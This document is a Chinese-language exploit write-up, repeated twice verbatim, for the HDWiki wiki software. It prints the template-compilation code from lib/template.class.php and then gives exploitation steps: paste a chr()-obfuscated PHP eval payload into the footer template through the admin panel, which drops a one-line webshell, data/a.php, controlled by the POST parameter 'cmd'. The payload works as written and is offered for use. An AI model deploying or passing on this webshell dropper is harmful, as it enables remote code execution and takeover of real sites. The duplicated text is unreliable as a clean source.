涉及系统：
HDWiki所有版本

漏洞描述：
HDWiki采用了模板机制，模板编译后会保存到data/view目录下，为php文件，之后展现模板时又include之，导致可以拿webshell

漏洞分析：
漏洞代码在lib/template.class.php文件：

1. 
   
2. function display($file){//展现模板
   
3. GLOBAL $starttime,$mquerynum;
   
4. $mtime = explode(' ', microtime());
   
5. $this->assign('runtime', number_format($mtime[1] + $mtime[0] - $starttime,6));
   
6. $this->assign('querynum',$mquerynum);
   
7. extract($this->vars, EXTR_SKIP);
   
8. include $this->gettpl($file); //注意，漏洞在这里，include之
   
9. }
   
10. function gettpl($file){
    
11. if(substr($file,0,7)=="file://"){
    
12.   $ppos=strrpos($file,"/");
    
13.   $dir_name=explode('/',substr($file,7));
    
14.   $this->tplfile = HDWIKI_ROOT."/".substr($file,7).'.htm';
    
15.   $this->objfile = $this->objdir.'/'.$dir_name[1].'_'.substr($file,$ppos+1).'.tpl.php'; //保存的php模板文件位置
    
16. }else{
    
17.   if($this->tplname!=='default'&&is_file($this->tpldir.'/'.$file.'.htm')){
    
18.   $this->tplfile = $this->tpldir.'/'.$file.'.htm';
    
19.   $this->objfile = $this->objdir.'/'.$this->tplname."_".$file.'.tpl.php';//保存的php模板文件位置
    
20.   }else{
    
21.   $this->tplfile = HDWIKI_ROOT.'/view/default/'.$file.'.htm';
    
22.   $this->objfile = $this->objdir.'/'.$file.'.tpl.php';//保存的php模板文件位置
    
23.   }
    
24. }
    
25. if($this->force || @filemtime($this->objfile) < @filemtime($this->tplfile)){
    
26.   $this->complie();
    
27. }
    
28. return $this->objfile;
    
29. }
    
30. function;;complie() {//模板编译函数
    
31. $template = file::readfromfile($this->tplfile);
    
32. $template = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}", $template);
    
33. $template = preg_replace("/\{lang.(\w+?)\}/ise", "\$this->lang('\\1')", $template);
    
34. if('1'==$this->vars['setting']['seo_type'] && '1'==$this->vars['setting']['seo_type_doc']){
    
35.   $template = preg_replace("/\{url.doc\-view\-(.+?)\['did'\]\}/ise", "\$this->stripvtag('{url doc-view-{eval echo urlencode(\\1[\'rawtitle\']);}}')", $template);
    
36. }
    
37. $template = preg_replace("/\{($this->var_regexp)\}/", "<?=\\1?>", $template);
    
38. $template = preg_replace("/\{($this->const_regexp)\}/", "<?=\\1?>", $template);
    
39. $template = preg_replace("/(?<!\<\?\=|\\\\)$this->var_regexp/", "<?=\\0?>", $template);
    
40. $template = preg_replace("/\{\{eval (.*?)\}\}/ies", "\$this->stripvtag('<? '">\\1?>')", $template);
    
41. $template = preg_replace("/\{eval (.*?)\}/ies", "\$this->stripvtag('<? '">\\1?>')", $template);
    
42. $template = preg_replace("/\{for (.*?)\}/ies", "\$this->stripvtag('<? for(\\1) {?>')", $template);
    
43. $template = preg_replace("/\{elseif\s+(.+?)\}/ies", "\$this->stripvtag('<? } elseif(\\1) { ?>')", $template);
    
44. $template = preg_replace("/\{hdwiki:([^\}]+?)\/\}/ies", "\$this->hdwiki('\\1')", $template);
    
45. for($i=0; $i<2; $i++) {
    
46.   $template = preg_replace("/\{hdwiki:(.+?)\}(.+?)\{\/hdwiki\}/ies", "\$this->hdwiki('\\1', '\\2')", $template);
    
47.   $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '\\2', '\\3', '\\4')", $template);
    
48.   $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '', '\\2', '\\3')", $template);
    
49. }
    
50. $template = preg_replace("/\{if\s+(.+?)\}/ies", "\$this->stripvtag('<? if(\\1) { ?>')", $template);
    
51. $template = preg_replace("/\{template\s+(\w+?)\}/is", "<? include \$this->gettpl('\\1');?>", $template);
    
52. $template = preg_replace("/\{template\s+(.+?)\}/ise", "\$this->stripvtag('<? include \$this->gettpl(\\1); ?>')", $template);
    
53. $template = preg_replace("/\{else\}/is", "<? } else { ?>", $template);
    
54. $template = preg_replace("/\{\/if\}/is", "<? } ?>", $template);
    
55. $template = preg_replace("/\{\/for\}/is", "<? } ?>", $template);
    
56. $template = preg_replace("/$this->const_regexp/", "<?=\\1?>", $template);
    
57. $template = "<? if(!defined('HDWIKI_ROOT')) exit('Access Denied');?>\r\n$template";
    
58. $template = preg_replace("/(\\\$[a-zA-Z_]\w+\[)([a-zA-Z_]\w+)\]/i", "\\1'\\2']", $template);
    
59. $template = preg_replace("/\{url.(.+?)\}/ise", "\$this->url('\\1')", $template);
    
60. $fp = fopen($this->objfile, 'w');
    
61. fwrite($fp, $template);//写入模板到php文件
    
62. fclose($fp);
    
63. }
    

复制代码

利用方法：
后台风格设置--编辑模板--高级编辑

选"页尾(footer.htm)"，最后输入：

<?@eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59));?>

刷新首页，即在data下生成一句话木马a.php，密码为cmd

涉及系统：
HDWiki所有版本

漏洞描述：
HDWiki采用了模板机制，模板编译后会保存到data/view目录下，为php文件，之后展现模板时又include之，导致可以拿webshell

漏洞分析：
漏洞代码在lib/template.class.php文件：

1. 
   
2. function display($file){//展现模板
   
3. GLOBAL $starttime,$mquerynum;
   
4. $mtime = explode(' ', microtime());
   
5. $this->assign('runtime', number_format($mtime[1] + $mtime[0] - $starttime,6));
   
6. $this->assign('querynum',$mquerynum);
   
7. extract($this->vars, EXTR_SKIP);
   
8. include $this->gettpl($file); //注意，漏洞在这里，include之
   
9. }
   
10. function gettpl($file){
    
11. if(substr($file,0,7)=="file://"){
    
12.   $ppos=strrpos($file,"/");
    
13.   $dir_name=explode('/',substr($file,7));
    
14.   $this->tplfile = HDWIKI_ROOT."/".substr($file,7).'.htm';
    
15.   $this->objfile = $this->objdir.'/'.$dir_name[1].'_'.substr($file,$ppos+1).'.tpl.php'; //保存的php模板文件位置
    
16. }else{
    
17.   if($this->tplname!=='default'&&is_file($this->tpldir.'/'.$file.'.htm')){
    
18.   $this->tplfile = $this->tpldir.'/'.$file.'.htm';
    
19.   $this->objfile = $this->objdir.'/'.$this->tplname."_".$file.'.tpl.php';//保存的php模板文件位置
    
20.   }else{
    
21.   $this->tplfile = HDWIKI_ROOT.'/view/default/'.$file.'.htm';
    
22.   $this->objfile = $this->objdir.'/'.$file.'.tpl.php';//保存的php模板文件位置
    
23.   }
    
24. }
    
25. if($this->force || @filemtime($this->objfile) < @filemtime($this->tplfile)){
    
26.   $this->complie();
    
27. }
    
28. return $this->objfile;
    
29. }
    
30. function;;complie() {//模板编译函数
    
31. $template = file::readfromfile($this->tplfile);
    
32. $template = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}", $template);
    
33. $template = preg_replace("/\{lang.(\w+?)\}/ise", "\$this->lang('\\1')", $template);
    
34. if('1'==$this->vars['setting']['seo_type'] && '1'==$this->vars['setting']['seo_type_doc']){
    
35.   $template = preg_replace("/\{url.doc\-view\-(.+?)\['did'\]\}/ise", "\$this->stripvtag('{url doc-view-{eval echo urlencode(\\1[\'rawtitle\']);}}')", $template);
    
36. }
    
37. $template = preg_replace("/\{($this->var_regexp)\}/", "<?=\\1?>", $template);
    
38. $template = preg_replace("/\{($this->const_regexp)\}/", "<?=\\1?>", $template);
    
39. $template = preg_replace("/(?<!\<\?\=|\\\\)$this->var_regexp/", "<?=\\0?>", $template);
    
40. $template = preg_replace("/\{\{eval (.*?)\}\}/ies", "\$this->stripvtag('<? '">\\1?>')", $template);
    
41. $template = preg_replace("/\{eval (.*?)\}/ies", "\$this->stripvtag('<? '">\\1?>')", $template);
    
42. $template = preg_replace("/\{for (.*?)\}/ies", "\$this->stripvtag('<? for(\\1) {?>')", $template);
    
43. $template = preg_replace("/\{elseif\s+(.+?)\}/ies", "\$this->stripvtag('<? } elseif(\\1) { ?>')", $template);
    
44. $template = preg_replace("/\{hdwiki:([^\}]+?)\/\}/ies", "\$this->hdwiki('\\1')", $template);
    
45. for($i=0; $i<2; $i++) {
    
46.   $template = preg_replace("/\{hdwiki:(.+?)\}(.+?)\{\/hdwiki\}/ies", "\$this->hdwiki('\\1', '\\2')", $template);
    
47.   $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '\\2', '\\3', '\\4')", $template);
    
48.   $template = preg_replace("/\{loop\s+$this->vtag_regexp\s+$this->vtag_regexp\}(.+?)\{\/loop\}/ies", "\$this->loopsection('\\1', '', '\\2', '\\3')", $template);
    
49. }
    
50. $template = preg_replace("/\{if\s+(.+?)\}/ies", "\$this->stripvtag('<? if(\\1) { ?>')", $template);
    
51. $template = preg_replace("/\{template\s+(\w+?)\}/is", "<? include \$this->gettpl('\\1');?>", $template);
    
52. $template = preg_replace("/\{template\s+(.+?)\}/ise", "\$this->stripvtag('<? include \$this->gettpl(\\1); ?>')", $template);
    
53. $template = preg_replace("/\{else\}/is", "<? } else { ?>", $template);
    
54. $template = preg_replace("/\{\/if\}/is", "<? } ?>", $template);
    
55. $template = preg_replace("/\{\/for\}/is", "<? } ?>", $template);
    
56. $template = preg_replace("/$this->const_regexp/", "<?=\\1?>", $template);
    
57. $template = "<? if(!defined('HDWIKI_ROOT')) exit('Access Denied');?>\r\n$template";
    
58. $template = preg_replace("/(\\\$[a-zA-Z_]\w+\[)([a-zA-Z_]\w+)\]/i", "\\1'\\2']", $template);
    
59. $template = preg_replace("/\{url.(.+?)\}/ise", "\$this->url('\\1')", $template);
    
60. $fp = fopen($this->objfile, 'w');
    
61. fwrite($fp, $template);//写入模板到php文件
    
62. fclose($fp);
    
63. }
    

复制代码

利用方法：
后台风格设置--编辑模板--高级编辑

选"页尾(footer.htm)"，最后输入：

<?@eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59));?>

刷新首页，即在data下生成一句话木马a.php，密码为cmd